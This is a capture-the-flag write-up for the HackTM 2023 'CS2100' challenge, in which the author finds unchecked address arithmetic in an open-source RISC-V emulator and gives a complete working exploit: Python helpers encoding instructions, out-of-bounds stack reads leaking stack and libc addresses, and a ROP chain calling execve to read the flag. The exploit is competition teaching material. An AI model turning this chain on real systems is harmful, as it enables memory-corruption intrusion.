Contents

HackTM CTF 2023

https://i.imgur.com/pGRGUGw.png
HackTM CTF 2023

This weekend, I spent my time competing at HackTM CTF 2023 held by WreckTheLine with my local team SKSD. We got 28th place. I managed to solve one pwn challenge called CS2100, and this is my writeup for that challenge.

CS2100

1
2
3
4
5
6
7
8
To all my CS2100 Computer Organisation students, I hope you've enjoyed the lectures thus far on RISC-V assembly.

I have set-up an online service for you to test your own RISC-V code!
Simply connect to the service through tcp:

nc 34.141.16.87 10000

Credit: Thanks to `@fmash16` for his emulator! I didn't even have to compile the emulator binary myself :O https://github.com/fmash16/riscv_emulator/blob/main/main

Attachment: https://drive.google.com/file/d/1fvZ0rfXOPmH_HqpG0tDVaPl45_bKmpGC/view?usp=sharing

Initial Analysis

We were given a zip file contains:

  • Binary called main
  • File called server.py
  • Libc binary libc-2.31.so

Let’s check the server.py file first

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from tempfile import NamedTemporaryFile
from subprocess import check_output, Popen, STDOUT, DEVNULL

def print_banner():
    print("""
       _____  _____ ___  __  ___   ___  
      / ____|/ ____|__ \/_ |/ _ \ / _ \ 
     | |    | (___    ) || | | | | | | |
     | |     \___ \  / / | | | | | | | |
     | |____ ____) |/ /_ | | |_| | |_| |
      \_____|_____/|____||_|\___/ \___/ 
    """)

def main():
    print_banner()
    s = input("Please enter your code (hex-encoded):\n")
    # Remove all whitespace
    s = ''.join(s.split())
    try:
        d = bytes.fromhex(s)
    except ValueError:
        print("Invalid hex!")
        exit()

    with NamedTemporaryFile() as temp_file:
        temp_file.write(d)
        temp_file.flush()
        filename = temp_file.name

        print("\nOutput:")
        with Popen(["./main", filename], stderr=STDOUT, stdin=DEVNULL) as process:
            process.wait()

if __name__ == "__main__":
    main()

Ah okay, so it just read hex-encoded bytecode, stored it in a temporary file, and then pass it to the binary main.

The problem description also gives us a link to a github repo. Turn out, the given binary is the compiled version of that repo, which is a riscv emulator. Instead of decompiling the binary, we can just clone the repo and try to analyze the source code.

I noticed that this challenge is pretty similar to RealWorld CTF 2023 challenge called tinyvm, where the given repo is a vm of x86 assembly implemented in C, while for this challenge, the repo tries to implement RISC-V emulator. So, based on that experience, I decided to try to look whether there might be Out-of-Bound Read and Write on the given repo, because it is the common mistake of developer during building a simulator. Let’s first inspect the main.c file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Usage: rvemu <filename>\n");
        exit(1);
    }

    // Initialize cpu, registers and program counter
    struct CPU cpu;
    cpu_init(&cpu);
    // Read input file
    read_file(&cpu, argv[1]);

    // cpu loop
    while (1) {
        // fetch
        uint32_t inst = cpu_fetch(&cpu);
        // Increment the program counter
        cpu.pc += 4;
        // execute
        if (!cpu_execute(&cpu, inst))
            break;

        dump_registers(&cpu);

        if(cpu.pc==0)
            break;
    }
    /*dump_registers(&cpu);*/
    return 0;
}
...

Okay, so basically, the file required us to input a filename, which will be loaded to the CPU struct, and then it will iterate the instructions we supplied in the file. Checking the cpu_execute implementation, the emulator implements a lot of RISC-V instructions.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int cpu_execute(CPU *cpu, uint32_t inst) {
    int opcode = inst & 0x7f;           // opcode in bits 6..0
    int funct3 = (inst >> 12) & 0x7;    // funct3 in bits 14..12
    int funct7 = (inst >> 25) & 0x7f;   // funct7 in bits 31..25

    cpu->regs[0] = 0;                   // x0 hardwired to 0 at each cycle

    /*printf("%s\n%#.8lx -> Inst: %#.8x <OpCode: %#.2x, funct3:%#x, funct7:%#x> %s",*/
            /*ANSI_YELLOW, cpu->pc-4, inst, opcode, funct3, funct7, ANSI_RESET); // DEBUG*/
    printf("%s\n%#.8lx -> %s", ANSI_YELLOW, cpu->pc-4, ANSI_RESET); // DEBUG

    switch (opcode) {
        case LUI:   exec_LUI(cpu, inst); break;
        case AUIPC: exec_AUIPC(cpu, inst); break;

        case JAL:   exec_JAL(cpu, inst); break;
        case JALR:  exec_JALR(cpu, inst); break;
...
    }
    return 1;
}

Our target is trying to look at an OOB read or write bug. So, I decided to skim for instructions that related to reading/storing value in memory. And then, I noticed this sequence of actions.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void exec_SD(CPU* cpu, uint32_t inst) {
    uint64_t imm = imm_S(inst);
    uint64_t addr = cpu->regs[rs1(inst)] + (int64_t) imm;
    cpu_store(cpu, addr, 64, cpu->regs[rs2(inst)]); // <- Let's expand this
    print_op("sd\n");
}

void cpu_store(CPU* cpu, uint64_t addr, uint64_t size, uint64_t value) {
    bus_store(&(cpu->bus), addr, size, value); // <- Let's expand this
}

void bus_store(BUS* bus, uint64_t addr, uint64_t size, uint64_t value) {
    dram_store(&(bus->dram), addr, size, value); // <- Let's expand this
}

void dram_store(DRAM* dram, uint64_t addr, uint64_t size, uint64_t value) {
    switch (size) {
        case 8:  dram_store_8(dram, addr, value);  break;
        case 16: dram_store_16(dram, addr, value); break;
        case 32: dram_store_32(dram, addr, value); break;
        case 64: dram_store_64(dram, addr, value); break; // <- Let's expand this
        default: ;
    }
}

#define DRAM_SIZE 1024*1024*1
#define DRAM_BASE 0x80000000

typedef struct DRAM {
	uint8_t mem[DRAM_SIZE];     // Dram memory of DRAM_SIZE
} DRAM;

void dram_store_64(DRAM* dram, uint64_t addr, uint64_t value) {
    dram->mem[addr-DRAM_BASE] = (uint8_t) (value & 0xff);
    dram->mem[addr-DRAM_BASE + 1] = (uint8_t) ((value >> 8) & 0xff);
    dram->mem[addr-DRAM_BASE + 2] = (uint8_t) ((value >> 16) & 0xff);
    dram->mem[addr-DRAM_BASE + 3] = (uint8_t) ((value >> 24) & 0xff);
    dram->mem[addr-DRAM_BASE + 4] = (uint8_t) ((value >> 32) & 0xff);
    dram->mem[addr-DRAM_BASE + 5] = (uint8_t) ((value >> 40) & 0xff);
    dram->mem[addr-DRAM_BASE + 6] = (uint8_t) ((value >> 48) & 0xff);
    dram->mem[addr-DRAM_BASE + 7] = (uint8_t) ((value >> 56) & 0xff);
}

Notice that there isn’t any check on the addr whether the result of addr-DRAM_BASE is larger than the array mem size or not. This means, if we put the correct addr value, we can simply do OOB read and write. The exec_SD above is used to do OOB write by passing the correct addr, and then I notice another function called exec_LD, which can be used to do OOB read.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void exec_LD(CPU* cpu, uint32_t inst) {
    // load 8 byte to rd from address in rs1
    uint64_t imm = imm_I(inst);
    uint64_t addr = cpu->regs[rs1(inst)] + (int64_t) imm;
    cpu->regs[rd(inst)] = (int64_t) cpu_load(cpu, addr, 64);
    print_op("ld\n");
}

uint64_t cpu_load(CPU* cpu, uint64_t addr, uint64_t size) {
    return bus_load(&(cpu->bus), addr, size);
}

uint64_t bus_load(BUS* bus, uint64_t addr, uint64_t size) {
    return dram_load(&(bus->dram), addr, size);
}

uint64_t dram_load_64(DRAM* dram, uint64_t addr){
    return (uint64_t) dram->mem[addr-DRAM_BASE]
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 1] << 8
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 2] << 16
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 3] << 24
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 4] << 32
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 5] << 40 
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 6] << 48
        |  (uint64_t) dram->mem[addr-DRAM_BASE + 7] << 56;
}

uint64_t dram_load(DRAM* dram, uint64_t addr, uint64_t size) {
    switch (size) {
        case 8:  return dram_load_8(dram, addr);  break;
        case 16: return dram_load_16(dram, addr); break;
        case 32: return dram_load_32(dram, addr); break;
        case 64: return dram_load_64(dram, addr); break;
        default: ;
    }
    return 1;
}

With those two functions, we have found the OOB bug in the emulator. Now, let’s move to the exploitation step.

Exploitation

Okay, now that we have found our targeted functions during our initial analysis, to help craft the payload easier, I try to build a helper first in python to generate the file that will be passed to the emulator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
registers = [
    "zero", "ra",  "sp",  "gp",
    "tp", "t0",  "t1",  "t2",
    "s0", "s1",  "a0",  "a1",
    "a2", "a3",  "a4",  "a5",
    "a6", "a7",  "s2",  "s3",
    "s4", "s5",  "s6",  "s7",
    "s8", "s9", "s10", "s11",
    "t3", "t4",  "t5",  "t6",
]

register_key = {}
for idx, val in enumerate(registers):
    register_key[val] = idx

def reg(key):
    return register_key[key]

def new_inst(opcode, funct3=0, funct7=0, rd=0, rs1=0, rs2=0, imm_i=0, imm_s=0):
    inst = 2**32
    # Set opcode
    inst |= (opcode & 0x7f)

    # Set funct3
    inst |= ((funct3 & 0x7) << 12)

    # Set funct7
    inst |= ((funct7 & 0x7f) << 25)

    # Set rd
    inst |= ((rd &0x1f) << 7)

    # Set rs1
    inst |= ((rs1 &0x1f) << 15)

    # Set rs2
    inst |= ((rs2 &0x1f) << 20)

    # Set imm_i
    inst |= ((imm_i << 20) & 0xfff00000)

    # Set imm_s
    inst |= ((imm_s << 20) & 0xfe000000)
    inst |= ((imm_s & 0x1f) << 7)

    return bytes.fromhex(hex(inst & (2**32-1))[2:].rjust(8, '0'))[::-1].hex()

def dram_load_32(hex_str):
    bytecode = bytes.fromhex(hex_str)
    inst = bytecode[0] | bytecode[1] << 8 | bytecode[2] << 16 | bytecode[3] << 24
    return inst

def exec_SD(addr_reg, offset, value):
    return new_inst(0x23, funct3=0x3, rs1=addr_reg, rs2=value, imm_s=offset)

def exec_LD(addr_reg, offset, reg_target):
    return new_inst(0x03, funct3=0x3, rs1=addr_reg, rd=reg_target, imm_i=offset)

def exec_ADDI(target, src, value):
    return new_inst(0x13, funct3=0x0, rd=target, rs1=src, imm_i=value)

def exec_SLLI(target, src, shift):
    return new_inst(0x13, funct3=0x1, rd=target, rs1=src, imm_i=shift)

def exec_SUBW(target, reg_src, reg_src2):
    return new_inst(0x3b, funct3=0x0, funct7=0x20, rd=target, rs1=reg_src, rs2=reg_src2)

The helper above is built based on inspecting how the cpu_execute function processes the instructions bytecode from the input file. Now that we have set the appropriate helper, let’s try to execute it for the first time to build our first payload to test it. Below is the example code that I used during analyzing the code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
from tempfile import NamedTemporaryFile

payload = ''
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)

d = bytes.fromhex(payload)
with NamedTemporaryFile() as temp_file:
    temp_file.write(d)
    temp_file.flush()
    filename = temp_file.name
    print(f'Temp filename: {filename}')
    pause()

After running the above code, it will generate a temp file, and then we can use the temp file to run the main in a separate terminal. Trying to use the generated temp file, below is the example output of the emulator

1
2
3
4
5
6
7
8
9
0x80000000 -> addi
   zero: 00                s0: 00                a6: 00                 s8: 00
     ra: 00                s1: 00                a7: 00                 s9: 00
     sp: 0x80100000        a0: 0x41              s2: 00                s10: 00
     gp: 00                a1: 00                s3: 00                s11: 00
     tp: 00                a2: 00                s4: 00                 t3: 00
     t0: 00                a3: 00                s5: 00                 t4: 00
     t1: 00                a4: 00                s6: 00                 t5: 00
     t2: 00                a5: 00                s7: 00                 t6: 00

We have successfully changed the a0 value to 0x41. Now, notice that the sp register value is 0x80100000. Remember that the max size of array mem is 0x100000, and if we try to access the memory of the address 0x80100000, that means we will try to get the value of mem[addr-DRAM_BASE], which is mem[0x100000]. For example, if we try to increase the sp value by 0x10, that means we have achieved OOB access.

Let’s try to check it by using this payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
payload = ''
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SD(reg('sp'), 0x10, reg('a0'))
payload += exec_LD(reg('sp'), 0x58, reg('a1')) # We only add this to set breakpoint in exec_LD, so that we can inspect the memory before the emulator exit

The above payload trying to store 0x41414141 to mem[sp+0x8]. exec_ADDI only support 12-bit signed number based on my observation in the source code, so to set a0 value, I use the help of << 8. Let’s try to inspect it in gdb to check where our 0x41414141 value is stored.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pwndbg> search -4 0x41414141
Searching for value: b'AAAA'
[stack]         0x7fffffef54a0 0x41414141 /* 'AAAA' */
[stack]         0x7fffffffd490 0x41414141 /* 'AAAA' */
pwndbg> tele 0x7fffffffd480 10
00:0000│  0x7fffffffd480 —▸ 0x7fffffffd580 ◂— 0x2
01:0008│  0x7fffffffd488 ◂— 0xfdc8b2d89266d800
02:0010│  0x7fffffffd490 ◂— 0x41414141 /* 'AAAA' */
03:0018│  0x7fffffffd498 —▸ 0x7ffff7dfa083 (__libc_start_main+243) ◂— mov edi, eax
04:0020│  0x7fffffffd4a0 ◂— 0x21 /* '!' */
05:0028│  0x7fffffffd4a8 —▸ 0x7fffffffd588 —▸ 0x7fffffffd904 ◂— '/home/chovid99/ctf-journey/2023/hacktm/cs2100/chal/main_patched'
06:0030│  0x7fffffffd4b0 ◂— 0x2f7fbe7a0
07:0038│  0x7fffffffd4b8 —▸ 0x555555555367 (main) ◂— push rbp
08:0040│  0x7fffffffd4c0 —▸ 0x5555555586d0 (__libc_csu_init) ◂— push r15
09:0048│  0x7fffffffd4c8 ◂— 0x2f49796781749cb6

Based on that inspection, mem array is reside in stack, and mem[0x100000+0x10] is pointing to the stored RBP. Notice that mem[0x100000+0x8] is canary value, and mem[0x100000+0x18] is stored RIP. That means, if we try to overwrite it, we will get RIP Control. Let’s modify our payload to overwrite the stored RIP address instead.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
payload = ''
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SLLI(reg('a0'), reg('a0'), 8) # Shift left << 8
payload += exec_ADDI(reg('a0'), reg('a0'), 0x41)
payload += exec_SD(reg('sp'), 0x18, reg('a0'))
payload += exec_LD(reg('sp'), 0x58, reg('a1')) # We only add this to set breakpoint in exec_LD, so that we can inspect the memory before the emulator exit

And below is the gdb result

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0x80000020 -> ld
   zero: 00                s0: 00                a6: 00                 s8: 00
     ra: 00                s1: 00                a7: 00                 s9: 00
     sp: 0x80100000        a0: 0x41414141        s2: 00                s10: 00
     gp: 00                a1: 0x7fffffffd580     s3: 00                s11: 00
     tp: 00                a2: 00                s4: 00                 t3: 00
     t0: 00                a3: 00                s5: 00                 t4: 00
     t1: 00                a4: 00                s6: 00                 t5: 00
     t2: 00                a5: 00                s7: 00                 t6: 00


Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...
*RAX  0x0
 RBX  0x5555555586d0 (__libc_csu_init) ◂— push r15
 RCX  0x0
*RDX  0x0
*RDI  0x7ffff7fc47e0 (_IO_stdfile_1_lock) ◂— 0x0
*RSI  0x55555555920d ◂— 0x45205d2d5b000000
 R8   0xffffffff
 R9   0x18
 R10  0x55555555920d ◂— 0x45205d2d5b000000
 R11  0x555555559048 ◂— 0x335b1b006d305b1b
 R12  0x555555555120 (_start) ◂— xor ebp, ebp
 R13  0x7fffffffd580 ◂— 0x2
 R14  0x0
 R15  0x0
*RBP  0x0
*RSP  0x7fffffffd4a0 ◂— 0x21 /* '!' */
*RIP  0x41414141
...
Invalid address 0x41414141

That confirms our hypothesis. We’re now able to control RIP. Now it’s time for us to leak some value. We can use the help of exec_LD to do this. But first, let’s try to inspect for values around the stack.

1
2
3
4
5
pwndbg> tele 0x7fffffffd480+0x58
00:0000│  0x7fffffffd4d8 —▸ 0x7fffffffd580 ◂— 0x2

pwndbg> tele 0x7fffffffd480-0x2a8
00:0000│  0x7fffffffd1d8 —▸ 0x7ffff7ddb2d0 ◂— 0xf0012000032a5

We found a good address to get a stack address leak and libc address leak. To get the leak is very simple, we just need to:

  • Set one register value to 0x80100000+0x58, and then call exec_LD to get that address value. We will get stack address leak
  • Set one register value to 0x80100000-0x2a8, and then call exec_LD to get that address value. We will get libc base

Now that we can get some leak, I notice that the SUB function in the code is not working. But we can use exec_ADDI with negative 12-bit number to do subtraction. For example, look at this payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Set t2 = 0x800ffd58. We will use this to leak libc base
payload += exec_ADDI(reg('t2'), reg('t2'), 0x80)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0x0f)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0xfd)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0x58)

# Set a3 = mem[t2]
payload += exec_LD(reg('t2'), 0x0, reg('a3')) # a3 = mem[t2]. Observation via gdb, mem[t2] contains libc address. Now, a3 contains libc address
for _ in range(82):
    payload += exec_ADDI(reg('a3'), reg('a3'), 0xf00) # Subtract it by 0x100
payload += exec_ADDI(reg('a3'), reg('a3'), 0xf30) # subtract it by 0xd0. Now, a3 == libc_base

I try to set t2 to 0x800ffd58 (which is 0x80100000-0x2a8), and then use exec_LD to get the leak and store it in a3. And then, with the help of exec_ADDI, I try to subtract it by 0x100 step by step until the a3 value equals to libc base address.

Now that we know how to do OOB read and write, the exploitation is trivial. Notice that in server.py file, the stdin is redirected to DEVNULL, so we can’t spawn a shell.

I choose to create a ROP payload to call execve('/bin/cat', ['/bin.cat', 'flag']). With the OOB read, we know the stack and libc address, and with the OOB write, we can carefully build the argv array in the stack, and then pass the stack address during the call to execve. Below is the ROP payload to execute that.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
payload = ''

# Set t0 = 0x800ffff0. We will use this as the address of /bin/cat
payload += exec_ADDI(reg('t0'), reg('t0'), 0x80)
payload += exec_SLLI(reg('t0'), reg('t0'), 8)
payload += exec_ADDI(reg('t0'), reg('t0'), 0x0f)
payload += exec_SLLI(reg('t0'), reg('t0'), 8)
payload += exec_ADDI(reg('t0'), reg('t0'), 0xff)
payload += exec_SLLI(reg('t0'), reg('t0'), 8)
payload += exec_ADDI(reg('t0'), reg('t0'), 0xf0)

# Set a0 = 0x7461632f6e69622f ('/bin/cat')
payload += exec_ADDI(reg('a0'), reg('a0'), 0x74)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x61)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x63)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x2f)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x6e)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x69)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x62)
payload += exec_SLLI(reg('a0'), reg('a0'), 8)
payload += exec_ADDI(reg('a0'), reg('a0'), 0x2f)

# Store '/bin/cat' in mem[t0] (which resides in stack)
payload += exec_SD(reg('t0'), 0, reg('a0')) # mem[t0] = a0 = '/bin/cat'
payload += exec_SD(reg('t0'), 0x8, reg('s11')) # mem[t0+0x8] = s11 = 0 (Add null terminator for /bin/cat string)

# Set a1 = 0x67616c66 ('flag')
payload += exec_ADDI(reg('a1'), reg('a1'), 0x67)
payload += exec_SLLI(reg('a1'), reg('a1'), 8)
payload += exec_ADDI(reg('a1'), reg('a1'), 0x61)
payload += exec_SLLI(reg('a1'), reg('a1'), 8)
payload += exec_ADDI(reg('a1'), reg('a1'), 0x6c)
payload += exec_SLLI(reg('a1'), reg('a1'), 8)
payload += exec_ADDI(reg('a1'), reg('a1'), 0x66)

# Store 'flag' in mem[t0+0x10]
payload += exec_SD(reg('t0'), 0x10, reg('a1')) # mem[t0+0x10] = a1 = 'flag'

# Set t1 = 0x800fffd0. We will use this as the address of pointer to argv
payload += exec_ADDI(reg('t1'), reg('t1'), 0x80)
payload += exec_SLLI(reg('t1'), reg('t1'), 8)
payload += exec_ADDI(reg('t1'), reg('t1'), 0x0f)
payload += exec_SLLI(reg('t1'), reg('t1'), 8)
payload += exec_ADDI(reg('t1'), reg('t1'), 0xff)
payload += exec_SLLI(reg('t1'), reg('t1'), 8)
payload += exec_ADDI(reg('t1'), reg('t1'), 0xd0)

# Set a2 = stack address of argv[0] (string '/bin/cat')
payload += exec_LD(reg('sp'), 0x58, reg('a2')) # a2 = mem[sp+0x58]. Observation via gdb, mem[sp+0x58] contains stack address value
payload += exec_ADDI(reg('a2'), reg('a2'), 0xef0)  # Subtract the leaked value by 0x120. Now, a2 = stack address of argv[0] (address of mem[t0])
payload += exec_ADDI(reg('s0'), reg('a2'), 0x0) # s0 = a2
payload += exec_ADDI(reg('s1'), reg('a2'), 0xfe0) # s1 = a2-0x20, which is the address of mem[t1] (pointer to argv)

# Build argv payload
payload += exec_SD(reg('t1'), 0, reg('s0')) # mem[t1] = s0 = argv[0]
payload += exec_ADDI(reg('s0'), reg('s0'), 0x10)
payload += exec_SD(reg('t1'), 0x8, reg('s0')) # mem[t1+0x8] = s0+0x10 = argv[1]
payload += exec_SD(reg('t1'), 0x10, reg('s11')) # mem[t1+0x10] = s11 = NULL

# Set t2 = 0x800ffd58. We will use this to leak libc base
payload += exec_ADDI(reg('t2'), reg('t2'), 0x80)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0x0f)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0xfd)
payload += exec_SLLI(reg('t2'), reg('t2'), 8)
payload += exec_ADDI(reg('t2'), reg('t2'), 0x58)

# Set a3 = mem[t2]
payload += exec_LD(reg('t2'), 0x0, reg('a3')) # a3 = mem[t2]. Observation via gdb, mem[t2] contains libc address. Now, a3 contains libc address
for _ in range(82):
    payload += exec_ADDI(reg('a3'), reg('a3'), 0xf00) # Subtract it by 0x100
payload += exec_ADDI(reg('a3'), reg('a3'), 0xf30) # subtract it by 0xd0. Now, a3 == libc_base

# Set a4 = pop_rdi
payload += exec_ADDI(reg('a4'), reg('a3'), 0x16a)
for _ in range(0xbe):
    payload += exec_ADDI(reg('a4'), reg('a4'), 0x300) # a4 == pop_rdi

# Set a5 = ret
payload += exec_ADDI(reg('a5'), reg('a4'), 0x1) # a5 == ret

# Set a6 = pop_rsi
payload += exec_ADDI(reg('a6'), reg('a3'), 0x21f)
for _ in range(0xca):
    payload += exec_ADDI(reg('a6'), reg('a6'), 0x300) # a6 == pop_rsi

# Set a7 = execve
payload += exec_ADDI(reg('a7'), reg('a3'), 0x10b)
for _ in range(0x4be):
    payload += exec_ADDI(reg('a7'), reg('a7'), 0x300) # a7 == execve

# RIP Control
# Based on observation in gdb, mem[sp+0x18] == Stored RIP Address
payload += exec_SD(reg('sp'), 0x18, reg('a4')) # pop rdi; ret
payload += exec_SD(reg('sp'), 0x20, reg('a2')) # address of '/bin/cat'
payload += exec_SD(reg('sp'), 0x28, reg('a5')) # ret (For stack alignment)
payload += exec_SD(reg('sp'), 0x30, reg('a6')) # pop rsi; ret
payload += exec_SD(reg('sp'), 0x38, reg('s1')) # address of argv array
payload += exec_SD(reg('sp'), 0x40, reg('a7')) # call execve

# Send Payload
r = conn()
r.sendlineafter(b'(hex-encoded):', payload.encode())
r.interactive()

https://i.imgur.com/nxEzzCZ.png

And we got the flag!

Flag: HackTM{Now_get_an_A_for_the_class!}

Social Media

Follow me on twitter